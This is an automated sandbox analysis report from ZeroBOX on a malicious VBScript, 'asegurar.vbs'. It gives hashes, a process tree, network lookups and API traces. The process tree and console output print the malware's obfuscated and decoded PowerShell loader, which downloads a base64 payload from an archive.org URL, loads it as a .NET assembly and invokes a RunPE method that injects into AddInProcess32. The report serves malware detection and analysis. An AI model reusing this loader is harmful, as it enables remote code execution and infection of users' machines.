popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

asegurar.vbs

Generic Malware Antivirus Hide_URL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 24, 2024, 10:49 a.m. Sept. 24, 2024, 11:02 a.m.
Size 499.7KB
Type Little-endian UTF-16 Unicode text, with CRLF line terminators
MD5 4a31a1de3d99c80d908ddda051e2f761
SHA256 8140d8019e144b3998a9fc991c45be89eb5f83c58f04627ce34c49b3f8d5d368
CRC32 31A3AC43
ssdeep 12288:W5Fy+b4KOMEA35NC3O6xGYIWO2hnf/us6fM/cgXruE528e7XRPa2d+dbw3Td57g:Wu+GGGxv/HL8o
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\asegurar.vbs

    2572

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoKFZBUklhQkxlICcqTURyKicpLm5hTWVbMywxMSwyXS1qT2lOJycpKCAoJ3cxJysnWnVybCA9IFZ3M2h0dHAnKydzOi8vJysnaScrJ2E2JysnMDAxMDAudXMuYXJjaGl2ZS5vcmcnKycvMjQnKycvaScrJ3RlbXMvZGV0JysnYWgtJysnbm90ZS12LycrJ0RldGFoTm8nKyd0ZVYudHgnKyd0VnczOycrJ3cxWmJhc2U2JysnNEMnKydvbnRlJysnbnQgPSAoTmV3JysnLU9iaicrJ2VjdCAnKydTeScrJ3N0ZW0uTmV0JysnLlcnKydlYkNsaWVudCkuRG93bmxvYWRTJysndHJpbmcnKycodzFadXJsKTt3JysnMVpiJysnaW4nKydhcicrJ3lDb250ZW50ID0gWycrJ1N5Jysnc3RlbS5DJysnb24nKyd2JysnZXJ0JysnXTo6RicrJ3InKydvbUJhcycrJ2U2NFN0cmluZycrJyh3MVpiYXNlNicrJzRDb250ZScrJ250KTt3MVphc3NlbWJseSA9IFsnKydSZWZsZWN0JysnaScrJ29uLkFzJysnc2VtYmx5XScrJzo6TG9hZCcrJygnKyd3MVonKydiaW5hcnlDb24nKyd0ZW50JysnKTt3MVp0JysneXBlID0gdzFaYXNzJysnZW1iJysnbHkuR2V0VHlwJysnZShWdzMnKydSdScrJ25QRS4nKydIb21lJysnVnczKTt3JysnMVptZXRob2QgPSB3JysnMVonKyd0eScrJ3BlLkdldE1ldGhvZChWdzNWQUlWdzMpO3cxWm0nKydldGgnKydvZCcrJy5JbnZva2UodycrJzFabnVsbCwgJysnWycrJ29iamVjdFtdJysnXUAoVicrJ3czMC9wV2NKJysnbicrJy9kLycrJ2UnKydlLmV0c2FwLy86c3B0dGhWdzMgLCcrJyBWdzNkZXNhdGl2YScrJ2RvVnczICwgJysnVicrJ3czZGVzYXRpdmFkbycrJ1Z3JysnMyAsJysnIFZ3M2QnKydlcycrJ2EnKyd0aXZhZG9WJysndzMsVncnKyczQWRkSW5QJysncicrJ28nKydjZXNzMzJWdzMsJysnVicrJ3czVnczKSknKS5yZXBsQWNlKCdWdzMnLFtzVHJJTkddW0NIYVJdMzkpLnJlcGxBY2UoJ3cxWicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

      2652

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ((VARIaBLe '*MDr*').naMe[3,11,2]-jOiN'')( ('w1'+'Zurl = Vw3http'+'s://'+'i'+'a6'+'00100.us.archive.org'+'/24'+'/i'+'tems/det'+'ah-'+'note-v/'+'DetahNo'+'teV.tx'+'tVw3;'+'w1Zbase6'+'4C'+'onte'+'nt = (New'+'-Obj'+'ect '+'Sy'+'stem.Net'+'.W'+'ebClient).DownloadS'+'tring'+'(w1Zurl);w'+'1Zb'+'in'+'ar'+'yContent = ['+'Sy'+'stem.C'+'on'+'v'+'ert'+']::F'+'r'+'omBas'+'e64String'+'(w1Zbase6'+'4Conte'+'nt);w1Zassembly = ['+'Reflect'+'i'+'on.As'+'sembly]'+'::Load'+'('+'w1Z'+'binaryCon'+'tent'+');w1Zt'+'ype = w1Zass'+'emb'+'ly.GetTyp'+'e(Vw3'+'Ru'+'nPE.'+'Home'+'Vw3);w'+'1Zmethod = w'+'1Z'+'ty'+'pe.GetMethod(Vw3VAIVw3);w1Zm'+'eth'+'od'+'.Invoke(w'+'1Znull, '+'['+'object[]'+']@(V'+'w30/pWcJ'+'n'+'/d/'+'e'+'e.etsap//:sptthVw3 ,'+' Vw3desativa'+'doVw3 , '+'V'+'w3desativado'+'Vw'+'3 ,'+' Vw3d'+'es'+'a'+'tivadoV'+'w3,Vw'+'3AddInP'+'r'+'o'+'cess32Vw3,'+'V'+'w3Vw3))').replAce('Vw3',[sTrING][CHaR]39).replAce('w1Z','$'))"

        2784

Name Response Post-Analysis Lookup
ia600100.us.archive.org
A 207.241.227.240
207.241.227.240
IP Address Status Action
164.124.101.2 Active Moloch
207.241.227.240 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadString" with "1" argument(s): "The underlying connec
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: tion was closed: An unexpected error occurred on a send."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:144
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $url = 'https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt'
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: ;$base64Content = (New-Object System.Net.WebClient).DownloadString <<<< ($url);
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: $binaryContent = [System.Convert]::FromBase64String($base64Content);$assembly =
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: [Reflection.Assembly]::Load($binaryContent);$type = $assembly.GetType('RunPE.H
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: ome');$method = $type.GetMethod('VAI');$method.Invoke($null, [object[]]@('0/pWc
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Jn/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProce
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: ss32',''))
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: Exception calling "Load" with "1" argument(s): "Could not load file or assembly
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: '0 bytes loaded from System.Management.Automation, Version=1.0.0.0, Culture=ne
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: utral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. An attempt
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: was made to load a program with an incorrect format."
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: At line:1 char:258
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + $url = 'https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt'
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: ;$base64Content = (New-Object System.Net.WebClient).DownloadString($url);$binar
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: yContent = [System.Convert]::FromBase64String($base64Content);$assembly = [Refl
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: ection.Assembly]::Load <<<< ($binaryContent);$type = $assembly.GetType('RunPE.H
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: ome');$method = $type.GetMethod('VAI');$method.Invoke($null, [object[]]@('0/pWc
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: Jn/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProce
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ss32',''))
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000000df
1 1 0

WriteConsoleW

 buffer: At line:1 char:300
console_handle: 0x000000eb
1 1 0

WriteConsoleW

 buffer: + $url = 'https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt'
console_handle: 0x000000f7
1 1 0

WriteConsoleW

 buffer: ;$base64Content = (New-Object System.Net.WebClient).DownloadString($url);$binar
console_handle: 0x00000103
1 1 0

WriteConsoleW

 buffer: yContent = [System.Convert]::FromBase64String($base64Content);$assembly = [Refl
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: ection.Assembly]::Load($binaryContent);$type = $assembly.GetType <<<< ('RunPE.H
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: ome');$method = $type.GetMethod('VAI');$method.Invoke($null, [object[]]@('0/pWc
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: Jn/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProce
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: ss32',''))
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (GetType:String) [], RuntimeEx
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : InvokeMethodOnNull
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x00000183
1 1 0

WriteConsoleW

 buffer: At line:1 char:340
console_handle: 0x0000018f
1 1 0

WriteConsoleW

 buffer: + $url = 'https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt'
console_handle: 0x0000019b
1 1 0

WriteConsoleW

 buffer: ;$base64Content = (New-Object System.Net.WebClient).DownloadString($url);$binar
console_handle: 0x000001a7
1 1 0

WriteConsoleW

 buffer: yContent = [System.Convert]::FromBase64String($base64Content);$assembly = [Refl
console_handle: 0x000001b3
1 1 0

WriteConsoleW

 buffer: ection.Assembly]::Load($binaryContent);$type = $assembly.GetType('RunPE.Home');
console_handle: 0x000001bf
1 1 0

WriteConsoleW

 buffer: $method = $type.GetMethod <<<< ('VAI');$method.Invoke($null, [object[]]@('0/pWc
console_handle: 0x000001cb
1 1 0

WriteConsoleW

 buffer: Jn/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProce
console_handle: 0x000001d7
1 1 0

WriteConsoleW

 buffer: ss32',''))
console_handle: 0x000001e3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (GetMethod:String) [], Runtime
console_handle: 0x000001ef
1 1 0

WriteConsoleW

 buffer: Exception
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : InvokeMethodOnNull
console_handle: 0x00000207
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d518
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041d858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041ddd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041e058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0041e058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00371e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00372838
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00372838
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00372838
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00371ef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00371ef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00371ef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00371ef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00371ef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00371ef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 1572864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02910000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2652
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2652
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a51000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02673000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02674000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02676000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02910000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02911000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02912000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02913000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02914000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
